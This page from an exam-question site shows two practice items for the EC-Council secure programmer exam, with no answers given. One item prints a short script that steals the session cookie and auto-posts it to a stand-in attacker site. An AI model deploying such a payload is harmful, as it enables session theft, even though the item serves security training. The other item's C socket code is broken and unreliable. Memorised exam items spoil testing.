PrepAway - Latest Free Exam Questions & Answers

Category: 312-92

Exam 312-92: EC-Council Certified Secure Programmer (ECSP)

In the following socket programming code, who will the server allow connections from?

In the following socket programming code, who will the server allow connections from?
int main(void)
{
int s1, s2;

s1 = socket(AF_INET, SOCK_STREAM, 0);
sin.sin_port = htons(30);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
listen(sockfd, 10);
s2 = accept(sockfd, 10);
write(s2, “hello\n”, 6)
}

What has Gerald stumbled upon?

Gerald is a web security consultant for Protectors International. Gerald’s main responsibility is to
search the Internet for malicious and deceitful sites that the public should be aware of. Gerald was
tipped off about a particular site and is now looking over its source code in a protected

environment. Gerald finds the following snippet particularly interesting. What has Gerald stumbled
upon?
<script>
document.write(‘<form name=hack method=post action=”http://
scarysite.com/getit.php”>
<input type=hidden name=sid value=”‘ + escape(document.cookie) +
‘”>’);
document.hack.submit();
</script>


Page 7 of 10« First...56789...Last »